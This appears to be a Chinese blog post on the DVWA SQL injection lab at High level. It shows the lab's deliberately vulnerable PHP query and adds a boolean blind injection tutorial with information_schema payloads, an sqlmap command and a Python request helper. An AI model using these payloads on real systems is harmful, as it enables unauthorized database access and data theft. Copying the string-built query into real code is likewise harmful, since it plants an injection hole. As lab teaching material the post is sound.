DVWA--SQL注入(SQL Injection)--HIgh

本文深入探讨DVWA平台上的SQL注入漏洞,特别是在Low及Medium级别中的实践案例。通过分析后台源码,揭示了SQL注入攻击的具体实现方式,为读者提供了理解和防御SQL注入攻击的宝贵资源。

DVWA--SQL注入(SQL Injection)--Low

DVWA--SQL注入(SQL Injection)--Medium

 

级别:High

实际和Low级别一样,进行SQL注入,参考Low

后台源码

 

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

 

### 布尔盲注在DVWA中的应用及获取表名的教程 布尔盲注是一种基于逻辑判断的SQL注入技术,通过向数据库发送特定构造的SQL查询语句,并根据返回页面内容的变化来推断出数据库的信息。在DVWA(Damn Vulnerable Web Application)中,可以通过布尔盲注的方法逐步获取数据库中的表名。 #### 1. 确定数据库的字符集和表名长度 首先需要确定数据库中表名的长度以及所使用的字符集。可以使用以下SQL查询构造来判断表名的长度: ```sql ' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=N--+ ``` 将`N`替换为不同的数字,直到找到使页面返回结果发生变化的值,这表示当前表名的长度为`N`[^1]。 #### 2. 使用二分法或逐字符猜测表名 一旦确定了表名的长度,就可以逐字符地猜测表名。通过ASCII码比较,构造如下SQL查询: ```sql ' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),M,1))>N--+ ``` 其中: - `M`是当前正在猜测的字符位置。 - `N`是用于比较的ASCII码值。 通过不断调整`N`的值并观察页面响应,可以逐步缩小范围,最终确定每个字符的具体值[^2]。 #### 3. 自动化工具辅助 手动进行布尔盲注的过程较为繁琐,可以借助自动化工具如`sqlmap`来加速这一过程。例如,运行以下命令即可尝试从目标URL中提取表名: ```bash sqlmap -u "http://target/dvwa/vulnerabilities/sqli_blind/" --level=5 --risk=3 --technique=B --tables ``` 此命令会自动探测并利用布尔盲注漏洞来枚举所有表名[^3]。 #### 注意事项 - 在实际操作中,请确保拥有合法权限,避免违反相关法律法规。 - DVWA环境通常用于教育目的,建议在本地搭建环境中练习此类技术。 ```python # 示例代码:简单的布尔盲注逻辑模拟 def boolean_blind_injection(base_url, payload_template, char_position, guess_value): payload = payload_template.format(char_position, guess_value) response = requests.get(base_url, params={'id': payload, 'Submit': 'Submit'}) return "True" if "exists" in response.text else "False" ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值